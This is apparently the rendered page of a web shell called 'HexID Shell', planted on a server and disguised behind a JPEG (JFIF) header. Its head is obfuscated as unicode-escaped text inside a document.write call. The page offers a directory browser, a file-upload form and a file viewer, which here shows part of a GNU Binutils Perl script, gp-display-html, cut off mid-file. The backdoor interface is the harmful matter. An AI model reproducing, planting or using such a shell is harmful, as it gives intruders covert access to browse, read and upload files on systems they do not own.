�����JFIF��������2�
<!DOCTYPE HTML>
<html><head><script type="text/javascript">document.write("\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u0063\u0073\u0073\u0022\u003E\u000A\u003C\u0074\u0069\u0074\u006C\u0065\u003E\u0048\u0065\u0078\u0049\u0044\u0020\u0053\u0068\u0065\u006C\u006C\u003C\u002F\u0074\u0069\u0074\u006C\u0065\u003E\u000A\u000A\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0066\u006F\u006E\u0074\u0073\u002E\u0067\u006F\u006F\u0067\u006C\u0065\u0061\u0070\u0069\u0073\u002E\u0063\u006F\u006D\u002F\u0063\u0073\u0073\u003F\u0066\u0061\u006D\u0069\u006C\u0079\u003D\u0049\u0063\u0065\u006C\u0061\u006E\u0064\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u003E\u000A\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0066\u006F\u006E\u0074\u0073\u002E\u0067\u006F\u006F\u0067\u006C\u0065\u0061\u0070\u0069\u0073\u002E\u0063\u006F\u006D\u002F\u0063\u0073\u0073\u003F\u0066\u0061\u006D\u0069\u006C\u0079\u003D\u0054\u0065\u006B\u006F\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u003E\u000A\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0066\u006F\u006E\u0074\u0073\u002E\u0067\u006F\u006F\u0067\u006C\u0065\u0061\u0070\u0069\u0073\u002E\u0063\u006F\u006D\u002F\u0063\u0073\u0073\u003F\u0066\u0061\u006D\u0069\u006C\u0079\u003D\u004E\u0065\u0077\u0020\u0052\u006F\u0063\u006B\u0065\u0072\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u003E\u000A\u000A\u003C\u006D\u0065\u0074\u0061\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0076\u0069\u0065\u0077\u0070\u006F\u0072\u0074\u0022\u0020\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u003D\u0022\u0077\u0069\u0064\u0074\u0068\u003D\u0064\u0065\u0076\u0069\u0063\u0065\u002D\u0077\u0069\u0064\u0074\u0068\u002C\u0020\u0069\u006E\u0069\u0074\u0069\u0061\u006C\u002D\u0073\u0063\u0061\u006C\u0065\u003D\u0031\u002E\u0030\u002C\u0020\u006D\u0061\u0078\u0069\u006D\u0075\u006D\u002D\u0073\u0063\u0061\u006C\u0065\u003D\u0031\u002E\u0030\u002C\u0020\u0075\u0073\u0065\u0072\u002D\u0073\u0063\u0061\u006C\u0061\u0062\u006C\u0065\u003D\u006E\u006F\u0022\u003E\u000A\u000A\u003C\u0061\u0075\u0064\u0069\u006F\u0020\u0061\u0075\u0074\u006F\u0070\u006C\u0061\u0079\u003E\u0020\u003C\u0073\u006F\u0075\u0072\u0063\u0065\u0020\u0073\u0072\u0063\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0077\u0077\u0077\u002E\u0073\u006F\u0075\u006E\u0064\u0065\u0073\u0063\u0061\u0070\u0065\u0073\u0074\u0075\u0064\u0069\u006F\u0073\u002E\u0063\u006F\u006D\u002F\u0053\u0045\u0053\u0041\u0075\u0064\u0069\u006F\u002F\u0053\u0045\u0053\u0025\u0032\u0030\u0053\u0069\u0074\u0065\u0025\u0032\u0030\u0053\u006F\u0075\u006E\u0064\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002D\u0073\u0068\u006F\u0072\u0074\u002D\u0030\u0031\u002E\u0077\u0061\u0076\u0022\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0061\u0075\u0064\u0069\u006F\u002F\u006D\u0070\u0065\u0067\u0022\u003E\u003C\u002F\u0061\u0075\u0064\u0069\u006F\u003E\u000A\u000A\u000A\u003C\u0021\u002D\u002D\u000A\u000A\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0077\u0077\u0077\u002E\u0073\u006F\u0075\u006E\u0064\u0065\u0073\u0063\u0061\u0070\u0065\u0073\u0074\u0075\u0064\u0069\u006F\u0073\u002E\u0063\u006F\u006D\u002F\u0053\u0045\u0053\u0041\u0075\u0064\u0069\u006F\u002F\u0053\u0045\u0053\u0025\u0032\u0030\u0053\u0069\u0074\u0065\u0025\u0032\u0030\u0053\u006F\u0075\u006E\u0064\u0073\u002F\u004C\u0061\u0073\u0065\u0072\u0025\u0032\u0030\u0053\u0063\u0069\u0025\u0032\u0030\u0046\u0069\u002F\u0041\u006C\u0069\u0065\u006E\u002D\u0074\u0061\u006B\u0065\u006F\u0066\u0066\u002D\u0030\u0031\u002E\u0077\u0061\u0076\u000A\u000A\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0077\u0077\u0077\u002E\u0073\u006F\u0075\u006E\u0064\u0065\u0073\u0063\u0061\u0070\u0065\u0073\u0074\u0075\u0064\u0069\u006F\u0073\u002E\u0063\u006F\u006D\u002F\u0053\u0045\u0053\u0041\u0075\u0064\u0069\u006F\u002F\u0053\u0045\u0053\u0025\u0032\u0030\u0053\u0069\u0074\u0065\u0025\u0032\u0030\u0053\u006F\u0075\u006E\u0064\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002D\u0073\u0068\u006F\u0072\u0074\u002D\u0030\u0031\u002E\u0077\u0061\u0076\u000A\u000A\u002D\u002D\u003E\u000A\u000A\u003C\u0073\u0074\u0079\u006C\u0065\u003E\u000A\u0068\u0074\u006D\u006C\u007B\u000A\u0077\u0069\u0064\u0074\u0068\u003A\u0031\u0030\u0030\u0025\u003B\u000A\u007D\u000A\u0062\u006F\u0064\u0079\u007B\u000A\u0077\u0069\u0064\u0074\u0068\u003A\u0039\u0036\u0025\u003B\u000A\u0066\u006F\u006E\u0074\u002D\u0066\u0061\u006D\u0069\u006C\u0079\u003A\u0020\u0049\u0063\u0065\u006C\u0061\u006E\u0064\u003B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u002D\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0062\u006C\u0061\u0063\u006B\u003B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u000A\u007D\u000A\u0023\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u0020\u0074\u0072\u003A\u0068\u006F\u0076\u0065\u0072\u007B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u002D\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0067\u0072\u0065\u0065\u006E\u003B\u000A\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0020\u0031\u0030\u0070\u0078\u0020\u0031\u0030\u0070\u0078\u0020\u0031\u0030\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u003B\u000A\u007D\u000A\u0023\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u0020\u002E\u0066\u0069\u0072\u0073\u0074\u007B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0062\u006C\u0061\u0063\u006B\u003B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u002D\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u006C\u0069\u006D\u0065\u003B\u000A\u007D\u000A\u0074\u0061\u0062\u006C\u0065\u007B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0020\u0031\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u000A\u007D\u000A\u000A\u0069\u006D\u0067\u005B\u0061\u006C\u0074\u002A\u003D\u0022\u0077\u0077\u0077\u002E\u0030\u0030\u0030\u0077\u0065\u0062\u0068\u006F\u0073\u0074\u002E\u0063\u006F\u006D\u0022\u005D\u0020\u007B\u000A\u0064\u0069\u0073\u0070\u006C\u0061\u0079\u003A\u0020\u006E\u006F\u006E\u0065\u003B\u000A\u007D\u0070\u006C\u0061\u0079\u003A\u0020\u006E\u006F\u006E\u0065\u003B\u000A\u007D\u000A\u000A\u002E\u006B\u0061\u006E\u0065\u007B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0020\u0031\u0070\u0078\u0020\u0023\u0030\u0030\u0030\u0030\u0030\u0030\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0035\u0070\u0078\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u0066\u006F\u006E\u0074\u002D\u0077\u0065\u0069\u0067\u0068\u0074\u003A\u0062\u006F\u006C\u0064\u003B\u000A\u007D\u000A\u000A\u002E\u0046\u0069\u006C\u0065\u007A\u007B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0020\u0031\u0070\u0078\u0020\u0023\u0030\u0030\u0030\u0030\u0030\u0030\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0035\u0070\u0078\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u007D\u000A\u000A\u002E\u006B\u0061\u006E\u007B\u000A\u002D\u006D\u006F\u007A\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0034\u0070\u0078\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0034\u0070\u0078\u003B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0034\u0070\u0078\u003B\u000A\u007D\u000A\u000A\u002E\u0063\u006F\u006C\u007A\u007B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u003A\u0020\u0023\u0030\u0031\u0031\u0031\u0031\u0031\u003B\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0031\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0035\u0070\u0078\u003B\u000A\u007D\u000A\u000A\u0061\u007B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u000A\u0074\u0065\u0078\u0074\u002D\u0064\u0065\u0063\u006F\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u006E\u006F\u006E\u0065\u003B\u000A\u007D\u000A\u0061\u003A\u0068\u006F\u0076\u0065\u0072\u007B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u006C\u0069\u006D\u0065\u003B\u000A\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0031\u0030\u0070\u0078\u0020\u0023\u0066\u0066\u0066\u0066\u0066\u0066\u003B\u000A\u007D\u000A\u002E\u0062\u006C\u0069\u006E\u006B\u005F\u0074\u0065\u0078\u0074\u0020\u007B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u006E\u0061\u006D\u0065\u003A\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0064\u0075\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u0032\u0073\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0074\u0069\u006D\u0069\u006E\u0067\u002D\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u003A\u0020\u006C\u0069\u006E\u0065\u0061\u0072\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0069\u0074\u0065\u0072\u0061\u0074\u0069\u006F\u006E\u002D\u0063\u006F\u0075\u006E\u0074\u003A\u0020\u0069\u006E\u0066\u0069\u006E\u0069\u0074\u0065\u003B\u000A\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u006E\u0061\u006D\u0065\u003A\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0064\u0075\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u0032\u0073\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0074\u0069\u006D\u0069\u006E\u0067\u002D\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u003A\u0020\u006C\u0069\u006E\u0065\u0061\u0072\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0069\u0074\u0065\u0072\u0061\u0074\u0069\u006F\u006E\u002D\u0063\u006F\u0075\u006E\u0074\u003A\u0020\u0069\u006E\u0066\u0069\u006E\u0069\u0074\u0065\u003B\u000A\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u006E\u0061\u006D\u0065\u003A\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u003B\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0064\u0075\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u0032\u0073\u003B\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0074\u0069\u006D\u0069\u006E\u0067\u002D\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u003A\u0020\u006C\u0069\u006E\u0065\u0061\u0072\u003B\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0069\u0074\u0065\u0072\u0061\u0074\u0069\u006F\u006E\u002D\u0063\u006F\u0075\u006E\u0074\u003A\u0020\u0069\u006E\u0066\u0069\u006E\u0069\u0074\u0065\u003B\u000A\u000A\u0020\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0072\u0065\u0064\u003B\u000A\u007D\u000A\u0040\u002D\u006D\u006F\u007A\u002D\u006B\u0065\u0079\u0066\u0072\u0061\u006D\u0065\u0073\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u0020\u007B\u0020\u000A\u0020\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0035\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0030\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0031\u0030\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u007D\u000A\u0040\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u006B\u0065\u0079\u0066\u0072\u0061\u006D\u0065\u0073\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u0020\u007B\u0020\u000A\u0020\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0035\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0030\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0031\u0030\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u007D\u000A\u0040\u006B\u0065\u0079\u0066\u0072\u0061\u006D\u0065\u0073\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u0020\u007B\u0020\u000A\u0020\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0035\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0030\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0031\u0030\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u007D\u000A\u003C\u002F\u0073\u0074\u0079\u006C\u0065\u003E\u0020\u000A\u003C\u002F\u0068\u0065\u0061\u0064\u003E\u000A\u000A\u000A\u000A\u003C\u0062\u006F\u0064\u0079\u003E\u000A\u003C\u0063\u0065\u006E\u0074\u0065\u0072\u003E\u003C\u0021\u002D\u002D\u003C\u0070\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0062\u006C\u0069\u006E\u006B\u005F\u0074\u0065\u0078\u0074\u0022\u0020\u0073\u0074\u0079\u006C\u0065\u003D\u0022\u0066\u006F\u006E\u0074\u002D\u0073\u0069\u007A\u0065\u003A\u0034\u0035\u0070\u0078\u003B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0020\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0032\u0030\u0070\u0078\u0020\u0023\u0030\u0030\u0066\u0066\u0066\u0066\u0020\u002C\u0020\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0032\u0030\u0070\u0078\u0020\u0023\u0030\u0030\u0066\u0066\u0066\u0066\u003B\u0066\u006F\u006E\u0074\u002D\u0066\u0061\u006D\u0069\u006C\u0079\u003A\u0049\u0063\u0065\u006C\u0061\u006E\u0064\u003B\u0022\u003E\u002D\u002D\u003E\u000A\u000A\u003C\u0066\u006F\u006E\u0074\u0020\u0066\u0061\u0063\u0065\u003D\u0022\u004E\u0065\u0077\u0020\u0052\u006F\u0063\u006B\u0065\u0072\u0022\u0020\u0073\u0069\u007A\u0065\u003D\u0022\u0035\u0022\u0020\u0020\u0073\u0074\u0079\u006C\u0065\u003D\u0022\u0063\u006F\u006C\u006F\u0072\u003A\u0062\u006C\u0061\u0063\u006B\u003B\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0020\u0030\u0020\u0030\u0020\u0033\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u002C\u0020\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0035\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u002C\u0030\u0020\u0030\u0020\u0035\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u002C\u0030\u0020\u0030\u0020\u0035\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u003B\u0022\u003E\u003C\u0062\u003E\u0048\u0065\u0078\u0069\u0064\u002E\u004D\u0069\u006E\u0069\u0020\u0053\u0068\u0065\u006C\u006C\u002E\u004D\u006F\u0062\u0069\u004C\u0065\u000A\u003C\u002F\u0066\u006F\u006E\u0074\u003E\u003C\u002F\u0062\u0072\u003E\u003C\u002F\u0062\u003E\u000A\u000A\u000A\u000A\u000A\u000A\u000A\u003C\u0021\u002D\u002D\u0042\u0061\u0067\u0069\u0061\u006E\u0020\u0044\u0069\u0072\u002D\u002D\u003E\u000A\u000A\u003C\u0074\u0061\u0062\u006C\u0065\u0020\u0073\u0074\u0079\u006C\u0065\u003D\u0022\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u003A\u0020\u0023\u0030\u0031\u0031\u0031\u0031\u0031\u003B\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0034\u0070\u0078\u003B\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003D\u0022\u0031\u0030\u0030\u0025\u0022\u0020\u0062\u006F\u0072\u0064\u0065\u0072\u003D\u0022\u0030\u0022\u0020\u0063\u0065\u006C\u006C\u0070\u0061\u0064\u0064\u0069\u006E\u0067\u003D\u0022\u0033\u0022\u0020\u0063\u0065\u006C\u006C\u0073\u0070\u0061\u0063\u0069\u006E\u0067\u003D\u0022\u0031\u0022\u0020\u003E\u003C\u0074\u0072\u003E\u003C\u0074\u0064\u003E\u000A\u000A\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0063\u0064\u006E\u0031\u002E\u0069\u0063\u006F\u006E\u0066\u0069\u006E\u0064\u0065\u0072\u002E\u0063\u006F\u006D\u002F\u0064\u0061\u0074\u0061\u002F\u0069\u0063\u006F\u006E\u0073\u002F\u0061\u0072\u0072\u006F\u0077\u0073\u002D\u0066\u006C\u0061\u0074\u002D\u0031\u002F\u0031\u0039\u0032\u002F\u0048\u006F\u006D\u0065\u005F\u0070\u0061\u0067\u0065\u002D\u0032\u0035\u0036\u002E\u0070\u006E\u0067\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003D\u0022\u0033\u0025\u0022\u003E\u0020\u003C\u0066\u006F\u006E\u0074\u0020\u0063\u006F\u006C\u006F\u0072\u003D\u0022\u0077\u0068\u0069\u0074\u0065\u0022\u0020\u0073\u0069\u007A\u0065\u003D\u0022\u0031\u0022\u003E\u0044\u0069\u0072\u003A\u003C\u002F\u0066\u006F\u006E\u0074\u003E\u003C\u0066\u006F\u006E\u0074\u0020\u0073\u0069\u007A\u0065\u003D\u0022\u0031\u0022\u003E");</script>

<a href="?path=/">/</a><a href="?path=//bin">bin</a>/<a href="?path=//bin/X11">X11</a>/</td></font></tr><tr><td><form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <br>
<input class="kanez" type="file" name="file" /><font color=#0111111>llllll</font><input class="kan" type="submit" value="upload" />
</form>
</td></tr><tr><td><font size='1'>Current File: //bin/X11/gp-display-html</tr></font></td></table><br><from><center><textarea cols=42 rows=20 style='onfocus();color:white;background: #011111;border-radius:6px;border: 1px lime solid;' readonly>#!/usr/bin/perl
#   Copyright (C) 2021-2023 Free Software Foundation, Inc.
#   Contributed by Oracle.
#
#   This file is part of GNU Binutils.
#
#   This program is free software; you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation; either version 3, or (at your option)
#   any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.
#
#   You should have received a copy of the GNU General Public License
#   along with this program; if not, write to the Free Software
#   Foundation, 51 Franklin Street - Fifth Floor, Boston,
#   MA 02110-1301, USA.

use strict;
use warnings;

# Disable before release
# use Perl::Critic;

use bignum;
use List::Util qw (max);
use Cwd qw (abs_path cwd);
use File::Basename;
use File::stat;
use feature qw (state);
use POSIX;
use Getopt::Long qw (Configure);

#------------------------------------------------------------------------------
# Check as early as possible if the version of Perl used is supported.
#------------------------------------------------------------------------------
INIT
{
  my $perl_minimal_version_supported = version-&gt;parse (&quot;5.10.0&quot;)-&gt;normal;
  my $perl_current_version           = version-&gt;parse (&quot;$]&quot;)-&gt;normal;

  if ($perl_current_version lt $perl_minimal_version_supported)
    {
      my $msg;

      $msg  = &quot;Error: minimum Perl release required: &quot;;
      $msg .= $perl_minimal_version_supported;
      $msg .= &quot; current: &quot;;
      $msg .= $perl_current_version;
      $msg .= &quot;\n&quot;;

      print $msg;

      exit (1);
     }
} #-- End of INIT

#------------------------------------------------------------------------------
# Poor man&#039;s version of a boolean.
#------------------------------------------------------------------------------
my $TRUE    = 1;
my $FALSE   = 0;

#------------------------------------------------------------------------------
# The total number of functions to be processed.
#------------------------------------------------------------------------------
my $g_total_function_count = 0;

#------------------------------------------------------------------------------
# Used to ensure correct alignment of columns.
#------------------------------------------------------------------------------
my $g_max_length_first_metric;

#------------------------------------------------------------------------------
# This variable contains the path used to execute $GP_DISPAY_TEXT.
#------------------------------------------------------------------------------
my $g_path_to_tools;

#------------------------------------------------------------------------------
# Code debugging flag.
#------------------------------------------------------------------------------
my $g_test_code = $FALSE;

#------------------------------------------------------------------------------
# GPROFNG commands and files used.
#------------------------------------------------------------------------------
my $GP_DISPLAY_TEXT = &quot;gp-display-text&quot;;

my $g_gp_output_file   = $GP_DISPLAY_TEXT.&quot;.stdout.log&quot;;
my $g_gp_error_logfile = $GP_DISPLAY_TEXT.&quot;.stderr.log&quot;;

#------------------------------------------------------------------------------
# Global variables.
#------------------------------------------------------------------------------
my $g_addressing_mode = &quot;64 bit&quot;;

#------------------------------------------------------------------------------
# The global regex section.
#
# First step towards consolidating all regexes.
#------------------------------------------------------------------------------
  my $g_less_than_regex      = &#039;&lt;&#039;;
  my $g_html_less_than_regex = &#039;&amp;lt;&#039;;
  my $g_endbr_inst_regex     = &#039;endbr[32|64]&#039;;
  my $g_rm_surrounding_spaces_regex = &#039;^\s+|\s+$&#039;;

#------------------------------------------------------------------------------
# For consistency, use a global variable.
#------------------------------------------------------------------------------
  my $g_html_new_line = &quot;&lt;br&gt;&quot;;

#------------------------------------------------------------------------------
# These are the regex&#039;s used.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Disassembly analysis
#------------------------------------------------------------------------------
  my $g_branch_regex = &#039;\.*([0-9a-fA-F]*):\s+(j).*\s*0x([0-9a-fA-F]+)&#039;;
  my $g_endbr_regex  = &#039;\.*([0-9a-fA-F]*):\s+(endbr[32|64])&#039;;
  my $g_function_call_v2_regex =
		&#039;(.*)\s+([0-9a-fA-F]*):\s+(call)\s*0x([0-9a-fA-F]+)\s*&#039;;

my $g_first_metric;

my $binutils_version;
my $driver_cmd;
my $tool_name;
my $version_info;

my %g_mapped_cmds = ();

#------------------------------------------------------------------------------
# Variables dealing with warnings and errors.  Since a message may span
# multiple lines (for readability reasons), the number of entries in the
# array may not reflect the total number of messages.  This is why we use
# separate variables for the counts.
#------------------------------------------------------------------------------
my @g_error_msgs   = ();
my @g_warning_msgs = ();
my $g_total_error_count = 0;
#------------------------------------------------------------------------------
# This count is used in the html_create_warnings_page HTML page to show how
# many warning messages there are.  Warnings are printed through gp_message(),
# but since one warning may span multiple lines, we update a separate counter
# that contains the total number of warning messages issued so far.
#------------------------------------------------------------------------------
my $g_total_warning_count = 0;
my $g_options_printed     = $FALSE;
my $g_abort_msg = &quot;cannot recover from the error(s)&quot;;

#------------------------------------------------------------------------------
# Contains the names that have already been tagged.  This is a global
# structure because otherwise the code would get much more complicated.
#------------------------------------------------------------------------------
my %g_tagged_names = ();

#------------------------------------------------------------------------------
# TBD Remove the use of these structures. No longer used.
#------------------------------------------------------------------------------
my %g_function_tag_id = ();
my $g_context = 5; # Defines the range of scan

my $g_default_setting_lang = &quot;en-US.UTF-8&quot;;
my %g_exp_dir_meta_data;

my $g_html_credits_line;

my $g_warn_keyword  = &quot;[Warning]&quot;;
my $g_error_keyword = &quot;[Error]&quot;;

my %g_function_occurrences = ();
my %g_map_function_to_index = ();
my %g_multi_count_function = ();
my %g_function_view_all = ();
my @g_full_function_view_table = ();

my @g_html_experiment_stats = ();

#------------------------------------------------------------------------------
# These structures contain the information printed in the function views.
#------------------------------------------------------------------------------
